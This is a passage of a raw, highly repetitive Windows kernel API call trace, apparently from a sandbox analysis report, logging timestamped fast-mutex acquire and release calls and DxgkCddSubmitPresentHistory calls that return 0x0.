returned 0x0 [0239.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0239.081] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0239.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0239.081] DxgkCddSubmitPresentHistory () returned 0x0 [0239.143] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0239.143] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0239.143] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0239.143] DxgkCddSubmitPresentHistory () returned 0x0 [0239.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0239.206] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0239.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0239.206] DxgkCddSubmitPresentHistory () returned 0x0 [0239.285] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0239.285] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0239.286] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0239.286] DxgkCddSubmitPresentHistory () returned 0x0 [0239.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0239.331] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0239.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0239.331] DxgkCddSubmitPresentHistory () returned 0x0 [0239.393] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0239.393] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0239.393] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0239.393] DxgkCddSubmitPresentHistory () returned 0x0 [0239.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0239.472] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0239.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0239.472] DxgkCddSubmitPresentHistory () returned 0x0 [0240.190] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0240.190] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0240.190] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0240.190] DxgkCddSubmitPresentHistory () returned 0x0 [0240.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0240.331] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0240.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0240.331] DxgkCddSubmitPresentHistory () returned 0x0 [0240.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0240.409] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0240.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0240.409] DxgkCddSubmitPresentHistory () returned 0x0 [0240.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0240.456] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0240.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0240.456] DxgkCddSubmitPresentHistory () returned 0x0 [0240.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0240.534] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0240.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0240.534] DxgkCddSubmitPresentHistory () returned 0x0 [0240.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0240.581] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0240.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0240.581] DxgkCddSubmitPresentHistory () returned 0x0 [0240.643] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0240.643] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0240.643] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0240.644] DxgkCddSubmitPresentHistory () returned 0x0 [0240.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0240.722] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0240.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0240.722] DxgkCddSubmitPresentHistory () returned 0x0 [0240.768] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0240.768] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0240.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0240.769] DxgkCddSubmitPresentHistory () returned 0x0 [0240.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0240.831] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0240.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0240.831] DxgkCddSubmitPresentHistory () returned 0x0 [0240.909] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0240.909] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0240.909] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0240.909] DxgkCddSubmitPresentHistory () returned 0x0 [0240.972] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0240.972] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0240.972] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0240.972] DxgkCddSubmitPresentHistory () returned 0x0 [0241.034] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0241.034] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0241.034] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0241.034] DxgkCddSubmitPresentHistory () returned 0x0 [0241.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0241.081] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0241.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0241.082] DxgkCddSubmitPresentHistory () returned 0x0 [0241.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0241.144] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0241.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0241.144] DxgkCddSubmitPresentHistory () returned 0x0 [0241.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0241.222] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0241.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0241.222] DxgkCddSubmitPresentHistory () returned 0x0 [0241.286] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0241.286] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0241.286] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0241.286] DxgkCddSubmitPresentHistory () returned 0x0 [0241.347] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0241.347] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0241.347] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0241.347] DxgkCddSubmitPresentHistory () returned 0x0 [0242.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0242.206] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0242.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0242.206] DxgkCddSubmitPresentHistory () returned 0x0 [0242.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0242.268] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0242.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0242.269] DxgkCddSubmitPresentHistory () returned 0x0 [0242.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0242.315] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0242.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0242.315] DxgkCddSubmitPresentHistory () returned 0x0 [0242.393] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0242.393] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0242.393] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0242.393] DxgkCddSubmitPresentHistory () returned 0x0 [0242.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0242.456] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0242.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0242.456] DxgkCddSubmitPresentHistory () returned 0x0 [0242.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0242.534] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0242.535] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0242.535] DxgkCddSubmitPresentHistory () returned 0x0 [0244.018] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.018] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0244.019] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.019] DxgkCddSubmitPresentHistory () returned 0x0 [0244.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.065] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0244.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.065] DxgkCddSubmitPresentHistory () returned 0x0 [0244.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.128] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0244.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.128] DxgkCddSubmitPresentHistory () returned 0x0 [0244.190] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.190] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0244.190] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.190] DxgkCddSubmitPresentHistory () returned 0x0 [0244.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.268] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0244.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.269] DxgkCddSubmitPresentHistory () returned 0x0 [0244.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.315] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0244.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.315] DxgkCddSubmitPresentHistory () returned 0x0 [0244.393] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.393] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0244.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.394] DxgkCddSubmitPresentHistory () returned 0x0 [0244.440] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.440] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0244.440] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.440] DxgkCddSubmitPresentHistory () returned 0x0 [0244.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.519] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0244.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.519] DxgkCddSubmitPresentHistory () returned 0x0 [0244.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.565] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0244.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.566] DxgkCddSubmitPresentHistory () returned 0x0 [0244.643] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.643] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0244.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.644] DxgkCddSubmitPresentHistory () returned 0x0 [0244.690] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.690] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0244.690] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.690] DxgkCddSubmitPresentHistory () returned 0x0 [0244.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.753] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0244.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.753] DxgkCddSubmitPresentHistory () returned 0x0 [0244.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.815] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0244.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.815] DxgkCddSubmitPresentHistory () returned 0x0 [0244.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.878] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0244.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.878] DxgkCddSubmitPresentHistory () returned 0x0 [0244.940] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.940] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0244.940] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.940] DxgkCddSubmitPresentHistory () returned 0x0 [0245.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0245.003] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0245.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0245.003] DxgkCddSubmitPresentHistory () returned 0x0 [0245.440] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0245.440] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0245.440] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0245.441] DxgkCddSubmitPresentHistory () returned 0x0 [0245.487] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0245.487] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0245.487] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0245.487] DxgkCddSubmitPresentHistory () returned 0x0 [0245.558] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0245.558] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0245.558] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0245.558] DxgkCddSubmitPresentHistory () returned 0x0 [0245.582] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0245.582] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0245.582] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0245.582] DxgkCddSubmitPresentHistory () returned 0x0 [0245.635] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0245.635] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0245.635] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0245.635] DxgkCddSubmitPresentHistory () returned 0x0 [0245.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0245.675] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0245.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0245.675] DxgkCddSubmitPresentHistory () returned 0x0 [0248.659] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0248.659] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0248.659] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0248.659] DxgkCddSubmitPresentHistory () returned 0x0 [0249.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0249.409] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0249.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0249.409] DxgkCddSubmitPresentHistory () returned 0x0 [0249.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0249.456] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0249.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0249.456] DxgkCddSubmitPresentHistory () returned 0x0 [0249.518] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0249.518] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0249.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0249.519] DxgkCddSubmitPresentHistory () returned 0x0 [0249.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0249.581] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0249.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0249.581] DxgkCddSubmitPresentHistory () returned 0x0 [0249.643] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0249.643] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0249.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0249.644] DxgkCddSubmitPresentHistory () returned 0x0 [0249.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0249.722] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0249.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0249.722] DxgkCddSubmitPresentHistory () returned 0x0 [0249.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0249.769] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0249.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0249.769] DxgkCddSubmitPresentHistory () returned 0x0 [0249.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0249.831] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0249.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0249.831] DxgkCddSubmitPresentHistory () returned 0x0 [0249.909] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0249.909] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0249.909] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0249.909] DxgkCddSubmitPresentHistory () returned 0x0 [0249.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0249.956] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0249.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0249.956] DxgkCddSubmitPresentHistory () returned 0x0 [0250.018] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0250.018] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0250.019] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0250.019] DxgkCddSubmitPresentHistory () returned 0x0 [0250.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0250.097] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0250.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0250.097] DxgkCddSubmitPresentHistory () returned 0x0 [0250.159] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0250.159] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0250.159] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0250.159] DxgkCddSubmitPresentHistory () returned 0x0 [0250.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0250.206] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0250.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0250.206] DxgkCddSubmitPresentHistory () returned 0x0 [0250.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0250.269] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0250.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0250.269] DxgkCddSubmitPresentHistory () returned 0x0 [0250.347] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0250.347] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0250.347] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0250.347] DxgkCddSubmitPresentHistory () returned 0x0 [0250.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0250.394] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0250.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0250.394] DxgkCddSubmitPresentHistory () returned 0x0 [0251.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0251.425] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0251.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0251.425] DxgkCddSubmitPresentHistory () returned 0x0 [0251.487] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0251.487] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0251.487] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0251.487] DxgkCddSubmitPresentHistory () returned 0x0 [0251.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0251.550] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0251.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0251.550] DxgkCddSubmitPresentHistory () returned 0x0 [0251.612] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0251.612] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0251.613] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0251.613] DxgkCddSubmitPresentHistory () returned 0x0 [0251.702] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0251.702] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0251.702] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0251.702] DxgkCddSubmitPresentHistory () returned 0x0 [0251.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0251.722] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0251.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0251.722] DxgkCddSubmitPresentHistory () returned 0x0 [0254.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0254.816] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0254.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0254.816] DxgkCddSubmitPresentHistory () returned 0x0 [0254.863] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0254.863] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0254.863] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion 